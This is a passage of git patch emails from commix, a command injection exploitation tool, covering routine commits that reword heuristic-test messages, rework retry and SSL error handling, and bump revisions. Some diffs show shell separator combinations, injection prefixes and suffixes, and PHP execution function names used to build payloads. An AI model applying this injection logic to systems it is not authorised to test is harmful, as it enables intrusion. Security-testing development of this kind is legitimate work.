html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True - info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + info_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." print(settings.print_bold_info_msg(info_msg)) break @@ -122,7 +122,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, raise SystemExit() """ -Basic heuristic checks for code injection warnings +Heuristic (basic) tests for code injection warnings """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): injection_type = "results-based dynamic code evaluation" @@ -173,7 +173,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "." + info_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break @@ -335,16 +335,17 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Estimating the response time (in seconds) timesec, url_time_response = requests.estimate_response_time(url, timesec) + # Load modules modules_handler.load_modules(url, http_request_method, filename) if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping (basic) heuristic detection." + debug_msg = "Skipping heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Starting (basic) heuristic detection." + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if not settings.LOAD_SESSION: @@ -373,7 +374,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time pass if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) detection shows that" + header_name + the_type + check_parameter + " might not be injectable." + warn_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter + " might not be injectable." print(settings.print_bold_warning_msg(warn_msg)) info_msg = "Setting the" diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 0eb655d021..e1aff96b06 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -226,7 +226,7 @@ def estimate_response_time(url, timesec): if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) url_time_response = int(round(diff)) - warn_msg = "The estimated response time is " + str(url_time_response) + warn_msg = "Target's estimated response time is " + str(url_time_response) warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" if url_time_response >= 3: warn_msg += " serious" @@ -234,7 +234,7 @@ def estimate_response_time(url, timesec): if url_time_response >= 3: warn_msg += " and/or possible corruptions over the extracted data" warn_msg += "." - print(settings.print_bold_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) if int(timesec) == int(url_time_response): timesec = int(timesec) + int(url_time_response) diff --git a/src/utils/settings.py b/src/utils/settings.py index 2097511f15..94e5bcf559 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -398,8 +398,8 @@ def sys_argv_errors(): # The command injection prefixes. PREFIXES = [] PREFIXES_LVL1 = [""] -PREFIXES_LVL2 = SEPARATORS_LVL1 -PREFIXES_LVL3 = ["'", "\""] + PREFIXES_LVL2 +PREFIXES_LVL2 = SEPARATORS_LVL1 +PREFIXES_LVL3 = ["'", "\""] + PREFIXES_LVL2 # The command injection suffixes. SUFFIXES = [] @@ -408,7 +408,7 @@ def sys_argv_errors(): SUFFIXES_LVL3 = ["'", "\"", " #", "//", "\\\\"] + SUFFIXES_LVL2 # Bad combination of prefix and separator -JUNK_COMBINATION = ["&&&", "|||", "|&&", "&|", "&;", "|;", ";;" , "%7C;", "%26;", "%7C&"] +JUNK_COMBINATION = [SEPARATORS_LVL1[i] + SEPARATORS_LVL1[j] for i in range(len(SEPARATORS_LVL1)) for j in range(len(SEPARATORS_LVL1))] # Execution functions EXECUTION_FUNCTIONS = ["exec", "system", "shell_exec", "passthru", "proc_open", "popen"] From 28fe222b52a425e5467f6612bd8c2292d36a1bf5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 5 Apr 2022 07:32:59 +0300 Subject: [PATCH 0100/1023] Minor update regarding heuristic tests --- src/core/injections/controller/controller.py | 38 +++++++++++++------- src/utils/settings.py | 2 +- 2 files changed, 26 insertions(+), 14 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index d0ddb941cc..bf79b22d96 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -110,7 +110,11 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: settings.IDENTIFIED_COMMAND_INJECTION = True - info_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter +" might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." + info_msg = "Heuristic (basic) tests shows that" + if not header_name == " cookie" and not the_type == " HTTP header": + info_msg += " " + str(http_request_method) + "" + info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + info_msg += the_type + check_parameter + " might be injectable (possible OS: '" + ('Unix-like', 'Windows')[_ != 1] + "')." print(settings.print_bold_info_msg(info_msg)) break @@ -173,7 +177,11 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - info_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter + " might be injectable via " + technique + "." + info_msg = "Heuristic (basic) tests shows that" + header_name + if not header_name == " cookie" and not the_type == " HTTP header": + info_msg += " " + str(http_request_method) + "" + info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + info_msg += the_type + check_parameter + " might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break @@ -339,6 +347,16 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Load modules modules_handler.load_modules(url, http_request_method, filename) + info_msg = "Setting the" + if not header_name == " cookie" and not the_type == " HTTP header": + info_msg += " " + str(http_request_method) + "" + info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + if header_name == " cookie" : + info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests." + else: + info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." + print(settings.print_info_msg(info_msg)) + if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic (basic) tests to the target URL." @@ -374,19 +392,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time pass if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) tests shows that" + header_name + the_type + check_parameter + " might not be injectable." + warn_msg = "Heuristic (basic) tests shows that" + header_name + if not header_name == " cookie" and not the_type == " HTTP header": + warn_msg += " " + str(http_request_method) + "" + warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += the_type + check_parameter + " might not be injectable." print(settings.print_bold_warning_msg(warn_msg)) - info_msg = "Setting the" - if not header_name == " cookie" and not the_type == " HTTP header": - info_msg += " " + str(http_request_method) + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - if header_name == " cookie" : - info_msg += str(header_name) + str(the_type) + str(check_parameter) + " for tests." - else: - info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." - print(settings.print_info_msg(info_msg)) - if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ menu.options.failed_tries: diff --git a/src/utils/settings.py b/src/utils/settings.py index 94e5bcf559..1b4de0309e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 151dc9c73b7f72199c8dfa5c00a2fb7935ad5fe9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 6 Apr 2022 08:04:13 +0300 Subject: [PATCH 0101/1023] Minor fixes and updates --- src/core/injections/controller/controller.py | 9 +++++++-- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 4 ++-- src/utils/settings.py | 2 +- 4 files changed, 11 insertions(+), 6 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index bf79b22d96..439292785c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -101,7 +101,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + #request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -144,6 +145,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t pass if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: for payload in settings.PHPINFO_CHECK_PAYLOADS: + if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): + payload = _urllib.parse.quote(payload) + payload = parameters.prefixes(payload, prefix="") + payload = parameters.suffixes(payload, suffix="") payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) @@ -161,7 +166,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if cookie: request.add_header(settings.COOKIE, cookie) if inject_http_headers: - request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) + request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 8875ce7923..3adf7b5ac5 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -426,7 +426,7 @@ def do_check(request): settings.CUSTOM_HEADER_NAME = http_header_name settings.CUSTOM_HEADER_VALUE = http_header_value # Add HTTP Header name / value to the HTTP request - if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE]: + if http_header_name not in [settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and settings.CUSTOM_HEADER_INJECTION == False: request.add_header(http_header_name, http_header_value) except: pass diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 8b8974f36d..afcf01ec22 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -389,7 +389,7 @@ def prefixes(payload, prefix): specify_referer_parameter(menu.options.referer) elif settings.HOST_INJECTION == True: specify_host_parameter(menu.options.host) - + # Check if defined "--prefix" option. if menu.options.prefix: payload = settings.TESTABLE_VALUE + menu.options.prefix + prefix + payload @@ -535,7 +535,7 @@ def specify_host_parameter(host): The Custom http header based injection. """ def specify_custom_header_parameter(header_name): - settings.TESTABLE_VALUE = header_name.replace(settings.INJECT_TAG,"") + header_name = settings.CUSTOM_HEADER_NAME return header_name diff --git a/src/utils/settings.py b/src/utils/settings.py index 1b4de0309e..d5e4e40454 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 5dfd74c761620e49514154b929ec8728b352e602 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 7 Apr 2022 09:06:16 +0300 Subject: [PATCH 0102/1023] Fixes https://github.com/commixproject/commix/issues/753 --- src/core/injections/controller/parser.py | 13 +++++++------ src/utils/settings.py | 2 +- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 16631fee56..91ab8f6b5d 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -88,6 +88,13 @@ def invalid_data(request): settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[1:] settings.RAW_HTTP_HEADERS = settings.RAW_HTTP_HEADERS[:-1] settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS) + + if os.stat(request_file).st_size != 0: + with open(request_file, 'r') as file: + request = file.read() + else: + invalid_data(request_file) + except IOError as err_msg: error_msg = "The '" + request_file + "' " error_msg += str(err_msg.args[1]).lower() + "." @@ -95,12 +102,6 @@ def invalid_data(request): print(settings.print_critical_msg(error_msg)) raise SystemExit() - if os.stat(request_file).st_size != 0: - with open(request_file, 'r') as file: - request = file.read() - else: - invalid_data(request_file) - single_request = True pattern = r'HTTP/([\d.]+)' if len(re.findall(pattern, request)) > 1: diff --git a/src/utils/settings.py b/src/utils/settings.py index d5e4e40454..b1c3b98565 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 3489b2845ed8e9bdebe093f75cff992780b7b50d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 8 Apr 2022 07:52:48 +0300 Subject: [PATCH 0103/1023] Minor fix --- src/core/injections/controller/controller.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 439292785c..9697037a1b 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -73,6 +73,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, header_name = " " + str(http_request_method) settings.CLASSIC_STATE = True try: + whitespace = settings.WHITESPACES[0] if not settings.IDENTIFIED_COMMAND_INJECTION: _ = 0 for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: @@ -81,7 +82,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") - payload = checks.perform_payload_modification(payload) + payload = checks.perform_payload_modification(payload).replace(whitespace, settings.WHITESPACES[0]) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) data = None diff --git a/src/utils/settings.py b/src/utils/settings.py index b1c3b98565..f6f96b8e88 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 139fb17d7398cb2c33a452fbb346992e6c43856d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 9 Apr 2022 08:36:33 +0300 Subject: [PATCH 0104/1023] Minor fix --- src/core/requests/headers.py | 18 ++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 11 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 3adf7b5ac5..986a299140 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -127,7 +127,7 @@ def http_open(self, req): except _http_client.InvalidURL as err_msg: settings.VALID_URL = False error_msg = err_msg - if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2: + if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) print(settings.print_critical_msg(error_msg)) if not settings.VALID_URL: @@ -147,7 +147,7 @@ def https_open(self, req): except _http_client.InvalidURL as err_msg: settings.VALID_URL = False error_msg = err_msg - if current_attempt == 0 and settings.VERBOSITY_LEVEL < 2: + if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) print(settings.print_critical_msg(error_msg)) if not settings.VALID_URL: @@ -158,9 +158,8 @@ def https_open(self, req): request.get_method = lambda: settings.HTTP_METHOD _ = False - current_attempt = 0 unauthorized = False - while not _ and current_attempt <= settings.MAX_RETRIES and unauthorized is False: + while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: if settings.VERBOSITY_LEVEL >= 2 or menu.options.traffic_file: if settings.VERBOSITY_LEVEL >= 2: req_msg = "HTTP request [" + settings.print_request_num(settings.TOTAL_OF_REQUESTS) + "]:" @@ -172,24 +171,23 @@ def https_open(self, req): response = opener.open(request, timeout=settings.TIMEOUT) page = checks.page_encoding(response, action="encode") _ = True + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 if settings.VERBOSITY_LEVEL < 2: - if current_attempt != 0: - info_msg = "Testing connection to the target URL." - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() if settings.INIT_TEST == True and not settings.UNAUTHORIZED: print(settings.SINGLE_WHITESPACE) if not settings.CHECK_INTERNET: settings.INIT_TEST = False except _urllib.error.HTTPError as err_msg: + if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: + print(settings.SINGLE_WHITESPACE) if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break except (_urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: - if current_attempt == 0: + if settings.TOTAL_OF_REQUESTS == 1: if settings.VERBOSITY_LEVEL < 2 and "has closed the connection" in str(err_msg): print(settings.SINGLE_WHITESPACE) @@ -206,7 +204,7 @@ def https_open(self, req): print(settings.print_warning_msg(warn_msg)) info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) - current_attempt = current_attempt + 1 + settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 time.sleep(3) except ValueError as err: diff --git a/src/utils/settings.py b/src/utils/settings.py index f6f96b8e88..c1ad2ee19d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 3b876c139e1d663ae4db2eebed88d2aa05cc1dad Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 10 Apr 2022 09:00:08 +0300 Subject: [PATCH 0105/1023] Minor update --- src/core/injections/controller/checks.py | 5 +++-- src/core/main.py | 4 ++-- src/utils/settings.py | 2 +- 3 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 618c1e90a6..fdf2457307 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -295,8 +295,9 @@ def check_connection(url): if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname): if not any((menu.options.proxy, menu.options.tor, menu.options.offline)): try: - info_msg = "Resolving hostname '" + hostname + "'." - print(settings.print_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Resolving hostname '" + hostname + "'." + print(settings.print_debug_msg(debug_msg)) socket.getaddrinfo(hostname, None) except socket.gaierror: err_msg = "Host '" + hostname + "' does not exist." diff --git a/src/core/main.py b/src/core/main.py index e418684cff..b0a22ab88b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -217,14 +217,14 @@ def check_internet(url): The init (URL) request. """ def init_request(url): + # Check connection(s) + checks.check_connection(url) # Number of seconds to wait before timeout connection if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP timeout." print(settings.print_debug_msg(debug_msg)) if menu.options.timeout: settings.TIMEOUT = menu.options.timeout - # Check connection(s) - checks.check_connection(url) # Define HTTP User-Agent header user_agent_header() # Check the internet connection (--check-internet switch). diff --git a/src/utils/settings.py b/src/utils/settings.py index c1ad2ee19d..08b1839ad8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From ee6c46a562b129ac6dffcb473fdf2eabb48c9d9f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Apr 2022 08:10:15 +0300 Subject: [PATCH 0106/1023] Minor update --- src/core/requests/headers.py | 6 ++++++ src/utils/settings.py | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 986a299140..d1cc8d46a9 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -129,6 +129,9 @@ def http_open(self, req): error_msg = err_msg if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) + if "ssl" in str(error_msg): + settings.VALID_URL = False + error_msg = "Can't establish SSL connection." print(settings.print_critical_msg(error_msg)) if not settings.VALID_URL: raise SystemExit() @@ -149,6 +152,9 @@ def https_open(self, req): error_msg = err_msg if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) + if "ssl" in str(error_msg): + settings.VALID_URL = False + error_msg = "Can't establish SSL connection." print(settings.print_critical_msg(error_msg)) if not settings.VALID_URL: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 08b1839ad8..19738457d9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From bd2326f4bbe954c74933337ee8d4f8bca4860b89 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 12 Apr 2022 07:36:23 +0300 Subject: [PATCH 0107/1023] Minor update --- src/core/injections/controller/controller.py | 36 ++++++++++---------- src/utils/settings.py | 2 +- 2 files changed, 19 insertions(+), 19 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 9697037a1b..b99289058c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -362,17 +362,17 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time else: info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." print(settings.print_info_msg(info_msg)) - - if menu.options.skip_heuristics: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Skipping heuristic (basic) tests to the target URL." - print(settings.print_debug_msg(debug_msg)) - else: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Performing heuristic (basic) tests to the target URL." - print(settings.print_debug_msg(debug_msg)) - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if not settings.LOAD_SESSION: + + if not settings.LOAD_SESSION: + if menu.options.skip_heuristics: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Skipping heuristic (basic) tests to the target URL." + print(settings.print_debug_msg(debug_msg)) + else: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Performing heuristic (basic) tests to the target URL." + print(settings.print_debug_msg(debug_msg)) + url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) if (len(menu.options.tech) == 0 or "e" in menu.options.tech) and not settings.IDENTIFIED_COMMAND_INJECTION: # Check for identified warnings url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) @@ -397,13 +397,13 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time print(settings.print_error_msg(err_msg)) pass - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) tests shows that" + header_name - if not header_name == " cookie" and not the_type == " HTTP header": - warn_msg += " " + str(http_request_method) + "" - warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += the_type + check_parameter + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + warn_msg = "Heuristic (basic) tests shows that" + header_name + if not header_name == " cookie" and not the_type == " HTTP header": + warn_msg += " " + str(http_request_method) + "" + warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + warn_msg += the_type + check_parameter + " might not be injectable." + print(settings.print_bold_warning_msg(warn_msg)) if menu.options.failed_tries and \ menu.options.tech and not "f" in menu.options.tech and not \ diff --git a/src/utils/settings.py b/src/utils/settings.py index 19738457d9..0fd610dcc3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -225,7 +225,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 3c8e0ccc99de0a57ad626ded2179c7e407dfaa0b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 13 Apr 2022 07:24:51 +0300 Subject: [PATCH 0108/1023] Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). --- doc/CHANGELOG.md | 1 + src/core/main.py | 94 +++++++++++++++++++++++------------- src/core/requests/headers.py | 1 + src/utils/settings.py | 2 +- 4 files changed, 63 insertions(+), 35 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 152b38310a..315075aa8d 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). * Added: Support for heuristic detection regarding command injections. * Revised: Ιmprovement regarding `--level` option, which not only adds more injection points (i.e Cookies, HTTP headers) but also performs more tests for each injection point. * Revised: Improvement regarding injecting into custom HTTP Header(s). diff --git a/src/core/main.py b/src/core/main.py index b0a22ab88b..4d7f5dfe20 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -102,7 +102,7 @@ def user_agent_header(): """ Examine the request """ -def examine_request(request): +def examine_request(request, url): try: headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). @@ -127,36 +127,27 @@ def examine_request(request): print(settings.print_critical_msg(err_msg)) raise SystemExit() - except Exception as err_msg: - if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - pass - elif menu.options.auth_type and menu.options.auth_cred: - err_msg = "The provided pair of " + menu.options.auth_type - err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" - err_msg += " seems to be invalid." - err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," - err_msg += " in order to perform a dictionary-based attack." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - pass - else: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg).replace(": "," (") + ")." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() except SocketError as e: if e.errno == errno.ECONNRESET: error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) elif e.errno == errno.ECONNREFUSED: error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + else: + try: + err_msg = str(e.args[0]).split("] ")[1] + "." + except IndexError: + err_msg = str(e).replace(": "," (") + ")." + if menu.options.bulkfile: + print(settings.print_critical_msg(err_msg)) + warn_msg = "Skipping URL '" + url + print(settings.print_warning_msg(warn_msg)) + if settings.EOF: + print(settings.SINGLE_WHITESPACE) + return False + else: + print(settings.print_critical_msg(err_msg)) + raise 